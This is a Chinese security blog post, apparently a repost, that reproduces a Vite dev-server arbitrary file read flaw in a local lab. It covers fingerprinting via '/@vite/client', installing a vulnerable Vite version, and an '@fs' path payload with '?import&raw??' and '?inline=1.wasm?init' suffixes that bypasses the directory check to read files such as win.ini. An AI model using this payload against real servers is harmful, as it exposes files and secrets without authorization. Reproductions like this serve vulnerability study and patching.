Vitejs漏洞复现与利用

admin 2025年5月6日10:02:48评论6 views字数 1740阅读5分48秒阅读模式
Vitejs漏洞复现与利用

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢

文章有疑问的,可以公众号发消息问我,或者留言。我每天都会看的。

Vitejs漏洞复现与利用

字数 485,阅读大约需 3 分钟

前言

Vitejs 是一款基于原生 ES 模块的新一代前端构建工具。项目地址:https://github.com/vitejs/vite

在渗透测试的时候,发现前端用这个的框架的还不少。于是就记录了一下。

vitejs指纹

/@vite/client

在Yakit中配置匹配信息

[{    "Rule": "/@vite/client",    "NoReplace": true,    "Color": "red",    "EnableForResponse": true,    "EnableForHeader": false,    "EnableForBody": true,    "Index": 56,    "ExtraTag": [        "vitejs"    ],    "VerboseName": "vitejs"}]
Vitejs漏洞复现与利用
764af703d45ce74bac5a5baceb198abf.png

提示存在vitejs

Vitejs漏洞复现与利用
32544a540215fd27554208e257f677ea.png

测试http://192.168.23.1/@fs/

Vitejs漏洞复现与利用
5b57c5a4300975d692289fa7fd1e36bf.png

可以看到打印绝对路径,说明确实存在vitejs组件,之后可以尝试他的历史漏洞。

可参考:https://github.com/vitejs/vite/security

安装Vitejs

npm create [email protected]cd vite-project/

配置Vite版本

打开package.json,去掉vite版本6.2.0前面的~^

Vitejs漏洞复现与利用
c0b2b703ef3f1863f0f1653e4c203832.png
  • • ^:表示兼容更新,即允许安装大于指定版本但小于下一个主要版本的更新。例如^5.2.1 允许安装 5.x.x 系列的最新版本,但不允许安装 6.x.x 系列。
  • • :表示补丁更新,即允许安装大于指定版本但小于下一个次要版本的更新。例如5.7.2 允许安装 5.7.x 系列的最新版本,但不允许安装 5.8.x 系列。

配置vite的对外host

打开package.json,修改dev

"dev": "vite --host 0.0.0.0",
Vitejs漏洞复现与利用
b7f6d1ce111e6e9f7ced5bc8570f9742.png

启动vite

安装依赖

npm installnpm run dev

访问 http://192.168.23.1:5173/

Vitejs漏洞复现与利用
4858be0ba5d7ea70c25fa4d80c256f7b.png

漏洞复现

参考:

  • • https://github.com/advisories/GHSA-x574-m823-4x7w

访问URL,http://192.168.23.1:5173/@fs/

  • • @fs
    • • Vite 中的 @fs 机制是 Vite 在开发服务器中引入的一种特殊的模块解析前缀,其主要目的是支持从文件系统的任意位置加载模块,为开发带来了更大的灵活性。

如下图,可以看到@fs只允许获取指定目录的文件

Vitejs漏洞复现与利用
c7550b3390afaee6a4d2a629b29de9a5.png

如果是不存在的文件

Vitejs漏洞复现与利用
6f25eab15c2a38e4a7d7e0c29698f4a1.png

如果文件存在,但目录不在指定目录内,返回403

Vitejs漏洞复现与利用
e7621cfacb8fc784df0eff293fbf5073.png
/@fs/tmp/secret.txt?import&raw??/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

可以看到存在base64,解码

Vitejs漏洞复现与利用
50a676217be81580ed326aaa67d9df7d.png

可以看到成功绕过限制,读取任意文件

Vitejs漏洞复现与利用
a750e325b4518035ad705e8df0e4fe79.png

参考资料

  • • https://xz.aliyun.com/news/17745

原文始发于微信公众号(进击的HACK):Vitejs漏洞复现与利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月6日10:02:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vitejs漏洞复现与利用https://cn-sec.com/archives/4031883.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息